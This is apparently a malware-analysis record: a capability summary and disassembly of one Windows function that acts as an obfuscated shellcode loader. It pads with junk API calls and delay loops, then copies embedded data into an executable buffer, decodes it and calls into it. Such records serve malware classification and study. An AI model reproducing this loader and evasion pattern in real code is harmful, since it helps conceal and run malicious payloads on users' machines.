Function at 0x402026
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
cmp edi, 0x207138
jg 0x40204d
inc edi
cmp edi, 0x4f672
jl 0x402033
cmp dword [0x2be260c], 0x93
jne 0x4020dd
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push esi
call dword [sym.imp.USER32.dll_OpenIcon]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
push esi
call fcn.004024ce
pop ecx
pop ecx
call fcn.00402018
push esi
call fcn.0040284e
push esi
call fcn.0040285d
pop ecx
pop ecx
push esi
call fcn.00402aef
mov eax, dword [0x423e88]
add dword [0x2be260c], 0x1134b
push 0x421af0
mov dword [0x2be3448], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x2be209c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2be260c]
mov dword [0x2be2090], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2be260c]
mov dword [0x2be2098], eax
push eax
call dword [0x2be2090]
mov edi, 0x1692e
push esi
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push esi
call ebx
dec edi
jne 0x40213c
mov eax, dword [0x2be260c]
cmp eax, esi
jbe 0x4021a7
mov eax, dword [0x2be3448]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2be2098]
mov byte [ecx + edi], al
mov eax, dword [0x2be260c]
cmp eax, 0x490
jne 0x4021a2
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, dword [0x2be260c]
inc edi
cmp edi, eax
jb 0x402152
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x4021e4
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov eax, dword [0x2be260c]
inc edi
cmp edi, 0x38681
jl 0x4021a9
mov ecx, dword [0x2be2098]
shr eax, 3
cmp eax, esi
jbe 0x40220a
mov edi, ecx
mov ebx, eax
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x4021fe
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40222b
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x61d8
mov eax, dword [ebp - 8]
add dword [0x2be2098], eax
inc edi
cmp edi, 0x674db
jl 0x40220c
push 0x7b
pop edi
cmp dword [0x2be260c], 0x86
jne 0x40225b
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
dec edi
jne 0x402237
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2be2098]
pop edi
pop esi
pop ebx
leave
ret